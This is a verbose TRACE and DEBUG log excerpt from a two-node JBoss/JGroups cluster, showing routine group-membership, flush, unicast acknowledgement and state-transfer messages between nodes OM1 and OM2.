2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) accepted connection from /192.168.1.201:63697
2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) waiting for client connections on OM1/192.168.1.200:54400
2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #2)
2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #2)
2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,153 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from joiners for view [OM1:1299|1]
2013-08-30 09:49:26,153 TRACE [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
2013-08-30 09:49:26,153 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resuming message garbage collection
2013-08-30 09:49:26,153 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: sending RESUME event
2013-08-30 09:49:26,153 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received RESUME, sending STOP_FLUSH to all
2013-08-30 09:49:26,153 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#7
2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,153 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#7
2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,153 DEBUG [FLUSH] (Incoming-9,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 <-- DATA(OM2:1299: #3)
2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> ACK(OM2:1299: #3)
2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-11,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> DATA(OM2:1299: #2, conn_id=1)
2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=2, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-12,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-12,null) OM1:1299 <-- ACK(OM2:1299: #2)
2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63698 handing of to PooledExecutor thread
2013-08-30 09:49:26,325 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63698, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
2013-08-30 09:49:26,512 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
2013-08-30 09:49:26,590 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 1 StoredEntries to stream
2013-08-30 09:49:26,715 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, UNICAST: DATA, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,715 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #4)
2013-08-30 09:49:26,715 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 2
2013-08-30 09:49:26,746 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 2 to OM2:1299
2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #3, conn_id=1)
2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=3, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,746 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #4)
2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,746 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
2013-08-30 09:49:26,761 TRACE [UDP] (Incoming-13,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,761 TRACE [UNICAST] (Incoming-13,null) OM1:1299 <-- ACK(OM2:1299: #3)
2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, UNICAST: DATA, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #5)
2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 3
2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 3 to OM2:1299
2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #4, conn_id=1)
2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=3, rsp_expected=false, UNICAST: DATA, seqno=4, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #5)
2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,777 TRACE [UDP] (Incoming-14,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,777 TRACE [UNICAST] (Incoming-14,null) OM1:1299 <-- ACK(OM2:1299: #4)
2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=1,members=[OM1:1299, OM2:1299]], NAKACK: [MSG, seqno=1], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,824 TRACE [NAKACK] (Incoming-15,null) OM1:1299: received OM2:1299#1
2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-15,null) OM1:1299 --> DATA(OM2:1299: #5, conn_id=1)
2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) sending msg to OM2:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=1], UNICAST: DATA, seqno=5, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,824 DEBUG [FLUSH] (Incoming-15,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM2:1299
2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-16,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-16,null) OM1:1299 <-- ACK(OM2:1299: #5)
2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 <-- DATA(OM2:1299: #6)
2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> ACK(OM2:1299: #6)
2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-17,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> DATA(OM2:1299: #6, conn_id=1)
2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=6, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-18,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-18,null) OM1:1299 <-- ACK(OM2:1299: #6)
2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63699 handing of to PooledExecutor thread
2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63699, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
2013-08-30 09:49:27,058 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
2013-08-30 09:49:27,151 TRACE [UDP] (Incoming-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=2], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,151 TRACE [NAKACK] (Incoming-19,null) OM1:1299: received OM2:1299#2
2013-08-30 09:49:27,151 DEBUG [FLUSH] (Incoming-19,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=874 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#3
2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 874 credits, 1999126 remaining
2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 4
2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=382 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=5, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#4
2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 382 credits, 1998744 remaining
2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 5
2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) sending rsp for 5 to OM2:1299
2013-08-30 09:49:27,276 TRACE [UNICAST] (Incoming-20,null) OM1:1299 --> DATA(OM2:1299: #7, conn_id=1)
2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=5, rsp_expected=false, UNICAST: DATA, seqno=7, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-1,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,292 TRACE [UNICAST] (Incoming-1,null) OM1:1299 <-- ACK(OM2:1299: #7)
2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM2:1299 (4 headers), size=873 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=6, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,292 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM2:1299#5
2013-08-30 09:49:27,292 TRACE [MFC] (Incoming-4,null) OM2:1299 used 873 credits, 1997871 remaining
2013-08-30 09:49:27,292 TRACE [RequestCorrelator] (Incoming-4,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 6
2013-08-30 09:49:27,323 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM2:1299 (4 headers), size=566 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=7, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,323 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM2:1299#6
2013-08-30 09:49:27,323 TRACE [MFC] (Incoming-3,null) OM2:1299 used 566 credits, 1997305 remaining
2013-08-30 09:49:27,323 TRACE [RequestCorrelator] (Incoming-3,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 7
2013-08-30 09:49:27,339 TRACE [RequestCorrelator] (Incoming-3,null) sending rsp for 7 to OM2:1299
2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> DATA(OM2:1299: #8, conn_id=1)
2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-3,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=7, rsp_expected=false, UNICAST: DATA, seqno=8, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-6,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-6,null) OM1:1299 <-- ACK(OM2:1299: #8)
2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 <-- DATA(OM2:1299: #7)
2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> ACK(OM2:1299: #7)
2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-5,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM2:1299: #9, conn_id=1)
2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=9, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM2:1299: #9)
2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63701 handing of to PooledExecutor thread
2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63701, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 2 StoredEntries to stream
2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=8, rsp_expected=true, UNICAST: DATA, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #8)
2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 8
2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 8 to OM2:1299
2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #10, conn_id=1)
2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=8, rsp_expected=false, UNICAST: DATA, seqno=10, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #8)
2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,666 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
2013-08-30 09:49:27,666 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #10)
2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=9, rsp_expected=true, UNICAST: DATA, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #9)
2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 9
2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 9 to OM2:1299
2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #11, conn_id=1)
2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=9, rsp_expected=false, UNICAST: DATA, seqno=11, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #9)
2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-10,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=11, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-10,null) OM1:1299 <-- ACK(OM2:1299: #11)
2013-08-30 09:49:32,814 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#8
2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:32,830 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#8
2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:32,830 TRACE [MFC] (Incoming-9,null) OM1:1299 used 354 credits, 1999646 remaining
2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (4 headers), size=1024 bytes, flags=OOB|DONT_BUNDLE], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #10)
2013-08-30 09:49:32,845 TRACE [UFC] (OOB-20,null) OM2:1299 used 1024 credits, 1998976 remaining
2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #10)
2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:32,861 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#9
